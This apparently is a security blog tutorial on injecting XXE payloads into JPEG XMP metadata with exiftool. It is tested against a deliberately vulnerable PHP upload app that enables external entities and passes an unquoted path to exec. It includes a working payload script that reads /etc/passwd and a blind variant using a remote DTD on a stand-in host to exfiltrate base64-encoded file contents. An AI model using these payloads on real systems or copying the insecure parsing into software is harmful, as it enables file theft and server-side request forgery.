Creating xxe payloads in xmp metadata
Recently I’ve read an interesting post that referenced this disclosed hackerone report about xxe in image upload functionality. This isn’t the most obvious place to look for xxes, so:
How did it work?
An xxe payload was injected in jpeg’s xmp metadata which is basically a piece of xml embedded in an image. Unfortunately, the report does not provide a step-by-step guide for payload creation, as the bug hunter used burp suite extension for this
I found this bug using the “Upload Scanner” extension, you can find it within the “Extender” option. See the screenshot for the configuration I used.
Since I liked this idea, I decided to find a simple way to create such payloads with free tools and write a vulnerable app for testing purpose.
The app
Consider the following php app:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
// we assume that external entities are enabled.
libxml_disable_entity_loader(false);
?>
Read xmp author:
<form enctype="multipart/form-data" action="/" method="POST">
Your file: <input name="userfile" type="file" />
<input type="submit" value="Send" />
</form>
<?php
function readXmp($filename)
{
$tmpPath = $_FILES[$filename]['tmp_name'];
$results = [];
exec("exiftool -xmp -b $tmpPath", $results);
return trim(implode('', $results));
}
function readMakerNote($xml)
{
$dom = new DOMDocument();
$dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);
foreach ($dom->getElementsByTagNameNS("*", "MakerNote") as $noteNode) {
return $noteNode->nodeValue;
}
}
if (isset($_FILES['userfile'])) {
$xmp = readXmp('userfile');
$note = readMakerNote($xmp);
echo "MakerNote is: $note";
}
?>
It takes an uploaded image, extracts xmp data, parses it to get the value of first MakerNote
tag ignoring namespaces and then displays it to the user.
If external entities are enabled, we can define one and simply put it in MakerNote
tag as it will be reflected in response. So we have a target for testing purposes.
Let’s create some payloads.
The mighty exiftool
First, let’s define MakerNote
in some jpg image:
$ exiftool -xmp:MakerNote=somenote some_image.jpg
1 image files updated
and check how our xmp looks like:
$ exiftool -xmp -b some_image.jpg
<?xpacket begin='\xef\xbb\xbf' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x='adobe:ns:meta/' x:xmptk='Image::ExifTool 10.80'>
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
<rdf:Description rdf:about=''
xmlns:exif='http://ns.adobe.com/exif/1.0/'>
<exif:MakerNote>somenote</exif:MakerNote>
</rdf:Description>
</rdf:RDF>
</x:xmpmeta>
# lot's of 0x20's and 0x0a's here
<?xpacket end='w'?>
Cool, but this whole xml was generated by exiftool and we need more control :). How do we define it ourself? The following syntax does the job:
$ exiftool -xmp="YOUR_XMP" some_image.jpg
The payload
Now, let’s spice up what exiftool gave us with basic xxe payload:
#/bin/bash
xmp_data="
<?xpacket begin='' id='W5M0MpCehiHzreSzNTczkc9d'?>
<!DOCTYPE x [
<!ENTITY sp SYSTEM \"file:///etc/passwd\">
]>
<x:xmpmeta xmlns:x='adobe:ns:meta/' x:xmptk='Image::ExifTool 10.80'>
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
<rdf:Description rdf:about=''
xmlns:exif='http://ns.adobe.com/exif/1.0/'>
<exif:MakerNote>&sp;</exif:MakerNote>
</rdf:Description>
</rdf:RDF>
</x:xmpmeta>
<?xpacket end='r'?>
"
xmp_data=$(echo $xmp_data | sed 's/\n//g') # getting rid of nl characters
exiftool -xmp="$xmp_data" $@
$ ./create_payload.sh some_image.jpg
1 image files updated
And it seems to work!
Blind xxe
But what if an app is not reflecting processed metadata? For example, MakerNote
may be just stored somewhere and never displayed to a user:
//...
function store($makerNote)
{
//...
}
//...
if (isset($_FILES['userfile'])) {
$xmp = readXmp('userfile');
$note = readMakerNote($xmp);
store($note);
}
Then we can ssrf out of this situation using following dtd’s
One in our xmp:
<!DOCTYPE x [
<!ELEMENT x ANY>
<!ENTITY % remote SYSTEM \"http://your-domain.com/my.dtd\">
<!ENTITY % file SYSTEM \"php://filter/read=convert.base64-encode/resource=file:///etc/hostname\">
%remote;
]>
and one on our domain:
<!ENTITY % uri "http://your-domain.com/%file;">
<!ENTITY % eval '<!ENTITY exfiltrate SYSTEM "%uri;">'>
%eval;
Wait what?
For some reason, in php you need to declare %eval
in an external dtd. Otherwise, you get:
DOMDocument::loadXML(): PEReferences forbidden in internal subset in Entity
(More about ssrf in xxe and this problem here and here.)
Also note that base64 encoding is mandatory to form a valid url when the file you are including contains new lines. Here we get it for free with php:// pseudoprotocol, but for other languages we need to find some other tricks.
Outcome
If everything goes well, you should see something like this in your webserver’s logs:
remote-domain.com - - [28/Apr/2020:22:10:54 +0200] "GET /my.dtd HTTP/1.0" 200 330 "-" "-"
remote-domain.com - - [28/Apr/2020:22:10:54 +0200] "GET /bXkgaG9zdG5hbWUgaXMgbm9uZSBvZiB5b3VyIGJ1c2luZXNzISA6KQo= HTTP/1.0" 404 455 "-" "-"
Happy xxeing file uploads!